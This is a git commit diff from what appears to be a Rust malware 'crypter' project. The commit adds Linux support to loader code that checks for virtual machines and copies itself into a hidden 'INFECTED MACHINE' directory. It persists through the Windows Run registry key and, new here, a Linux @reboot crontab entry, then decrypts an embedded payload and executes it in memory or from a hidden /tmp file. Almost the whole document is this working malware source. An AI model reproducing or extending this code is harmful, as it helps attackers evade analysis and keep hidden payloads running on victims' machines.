Add cross-platform support for Linux and Windows

- Implement conditional compilation for platform-specific dependencies
- Add Linux persistence via cron jobs as alternative to Windows registry
- Create cross-platform fileless execution (memexec for Windows, temp file + exec for Linux)
- Support platform-specific paths and file hiding mechanisms
- Maintain full Windows compatibility while adding Linux support
This commit is contained in:
JorySeverijnse 2025-12-14 12:10:49 +01:00
parent 42550bdc8d
commit e8c22a8160
2 changed files with 115 additions and 19 deletions

View File

@ -8,5 +8,10 @@ edition = "2021"
[dependencies] [dependencies]
inside-vm = "0.2.0" inside-vm = "0.2.0"
aes = "0.8.2" aes = "0.8.2"
[target.'cfg(windows)'.dependencies]
memexec = "0.2" memexec = "0.2"
winreg = "0.9" winreg = "0.9"
[target.'cfg(unix)'.dependencies]
libc = "0.2"

View File

@ -6,9 +6,15 @@ use std::io::{self, Cursor, Read};
use std::path::Path; use std::path::Path;
use std::process::Command; use std::process::Command;
use std::{env, fs}; use std::{env, fs};
#[cfg(windows)]
use winreg::enums::{HKEY_CURRENT_USER, KEY_ALL_ACCESS}; use winreg::enums::{HKEY_CURRENT_USER, KEY_ALL_ACCESS};
#[cfg(windows)]
use winreg::RegKey; use winreg::RegKey;
#[cfg(unix)]
use std::os::unix::fs::PermissionsExt;
fn main() { fn main() {
if inside_vm() { if inside_vm() {
println!("This is in a vm"); println!("This is in a vm");
@ -21,7 +27,9 @@ fn main() {
persistence(); persistence();
let pe_bytes = decrypt_file().unwrap(); let pe_bytes = decrypt_file().unwrap();
fileless(pe_bytes); if let Err(e) = fileless(pe_bytes) {
eprintln!("Failed to execute payload: {}", e);
}
} }
} }
@ -53,7 +61,7 @@ fn decrypt_file() -> Result<Vec<u8>> {
} }
fn create_infected_directory() -> io::Result<()> { fn create_infected_directory() -> io::Result<()> {
let infected_dir = Path::new("C:/Rust Crypter - INFECTED MACHINE"); let infected_dir = get_infected_dir_path();
fs::create_dir_all(&infected_dir)?; fs::create_dir_all(&infected_dir)?;
let current_exe = env::current_exe()?; let current_exe = env::current_exe()?;
@ -62,7 +70,8 @@ fn create_infected_directory() -> io::Result<()> {
let infected_exe_path = infected_dir.join(current_exe_filename.unwrap()); let infected_exe_path = infected_dir.join(current_exe_filename.unwrap());
fs::copy(&current_exe, &infected_exe_path)?; fs::copy(&current_exe, &infected_exe_path)?;
if cfg!(target_os = "windows") { #[cfg(windows)]
{
Command::new("attrib") Command::new("attrib")
.arg("+h") .arg("+h")
.arg(infected_dir.as_os_str()) .arg(infected_dir.as_os_str())
@ -73,32 +82,114 @@ fn create_infected_directory() -> io::Result<()> {
.output()?; .output()?;
} }
#[cfg(unix)]
{
// Hide files on Unix by removing read permissions for others
let mut perms = fs::metadata(&infected_dir)?.permissions();
perms.set_mode(0o700);
fs::set_permissions(&infected_dir, perms)?;
let mut perms = fs::metadata(&infected_exe_path)?.permissions();
perms.set_mode(0o700);
fs::set_permissions(&infected_exe_path, perms)?;
}
Ok(()) Ok(())
} }
fn get_infected_dir_path() -> &'static Path {
#[cfg(windows)]
{
Path::new("C:/Rust Crypter - INFECTED MACHINE")
}
#[cfg(unix)]
{
Path::new("/tmp/.rust-crypter-infected")
}
}
fn persistence() -> io::Result<()> { fn persistence() -> io::Result<()> {
if let Ok(current_exe) = env::current_exe() { #[cfg(windows)]
if let Some(file_name) = current_exe.file_stem() { {
let executable_name = file_name.to_string_lossy(); if let Ok(current_exe) = env::current_exe() {
let directory_path = "C:/Rust Crypter - INFECTED MACHINE/"; if let Some(file_name) = current_exe.file_stem() {
let file_path = format!("{}{}.exe", directory_path, executable_name); let executable_name = file_name.to_string_lossy();
let directory_path = "C:/Rust Crypter - INFECTED MACHINE/";
let file_path = format!("{}{}.exe", directory_path, executable_name);
// Open the "Run" registry key // Open the "Run" registry key
let hkcu = RegKey::predef(HKEY_CURRENT_USER); let hkcu = RegKey::predef(HKEY_CURRENT_USER);
let run_key = hkcu.open_subkey_with_flags( let run_key = hkcu.open_subkey_with_flags(
"Software\\Microsoft\\Windows\\CurrentVersion\\Run", "Software\\Microsoft\\Windows\\CurrentVersion\\Run",
KEY_ALL_ACCESS, KEY_ALL_ACCESS,
)?; )?;
// Add the executable path to the "Run" registry key // Add the executable path to the "Run" registry key
run_key.set_value("RustCrypter", &file_path).err(); run_key.set_value("RustCrypter", &file_path).err();
}
} }
} }
#[cfg(unix)]
{
// Linux persistence using cron job
if let Ok(current_exe) = env::current_exe() {
let cron_entry = format!("@reboot {} >/dev/null 2>&1", current_exe.display());
// Add to user's crontab
let output = Command::new("crontab")
.arg("-l")
.output();
let mut cron_content = String::new();
if let Ok(output_result) = output {
if output_result.status.success() {
cron_content = String::from_utf8_lossy(&output_result.stdout).to_string();
}
}
if !cron_content.contains("rust-crypter") {
cron_content.push_str(&cron_entry);
cron_content.push('\n');
Command::new("sh")
.arg("-c")
.arg(&format!("echo '{}' | crontab -", cron_content))
.output()?;
}
}
}
Ok(()) Ok(())
} }
fn fileless(bytes: Vec<u8>) { fn fileless(bytes: Vec<u8>) -> std::result::Result<(), Box<dyn std::error::Error>> {
unsafe { #[cfg(windows)]
memexec::memexec_exe(&bytes).unwrap(); {
unsafe {
memexec::memexec_exe(&bytes).unwrap();
}
} }
#[cfg(unix)]
{
// For Linux, write to temp file and execute
use std::ffi::CString;
let temp_path = "/tmp/.rust_payload";
fs::write(temp_path, &bytes)?;
// Make executable
let mut perms = fs::metadata(temp_path)?.permissions();
perms.set_mode(0o755);
fs::set_permissions(temp_path, perms)?;
// Execute
let path_cstr = CString::new(temp_path)?;
unsafe {
libc::execl(path_cstr.as_ptr(), path_cstr.as_ptr(), std::ptr::null::<libc::c_char>());
}
}
Ok(())
} }